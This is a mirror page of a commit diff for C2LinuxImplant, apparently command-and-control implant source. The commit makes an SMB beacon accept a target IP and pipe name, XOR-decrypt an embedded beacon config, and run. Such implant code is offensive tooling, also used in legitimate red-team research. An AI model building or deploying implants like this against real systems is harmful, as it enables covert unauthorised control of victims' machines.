mirror of
https://github.com/maxDcb/C2LinuxImplant
synced 2026-06-08 15:48:43 +00:00
maj core
This commit is contained in:
@@ -8,16 +8,20 @@ using namespace std;
|
||||
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
std::string ip = "127.0.0.1";
|
||||
std::string pipeName = "mynamedpipe";
|
||||
if(argc > 1)
|
||||
pipeName = argv[1];
|
||||
if(argc > 2)
|
||||
{
|
||||
ip = argv[1];
|
||||
pipeName = argv[2];
|
||||
}
|
||||
|
||||
std::string configDecrypt(std::begin(_EncryptedBeaconHttpConfig_), std::end(_EncryptedBeaconHttpConfig_));
|
||||
std::string keyConfig(std::begin(_KeyConfig_), std::end(_KeyConfig_));
|
||||
XOR(configDecrypt, keyConfig);
|
||||
|
||||
std::unique_ptr<Beacon> beacon;
|
||||
beacon = make_unique<BeaconSmb>(configDecrypt, pipeName);
|
||||
beacon = make_unique<BeaconSmb>(configDecrypt, ip, pipeName);
|
||||
|
||||
beacon->run();
|
||||
}
|
||||
+1
-1
Submodule core updated: 3a537ba1b4...69018881f0
@@ -42,7 +42,7 @@ bool Server::receiveData(std::string& data)
|
||||
|
||||
|
||||
// https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipe-client
|
||||
Client::Client(const std::string& pipeName)
|
||||
Client::Client(const std::string& ip, const std::string& pipeName)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
@@ -32,7 +32,7 @@ private:
|
||||
class Client
|
||||
{
|
||||
public:
|
||||
Client(const std::string& pipeName);
|
||||
Client(const std::string& ip, const std::string& pipeName);
|
||||
~Client();
|
||||
|
||||
bool initConnection();
|
||||
|
||||
Reference in New Issue
Block a user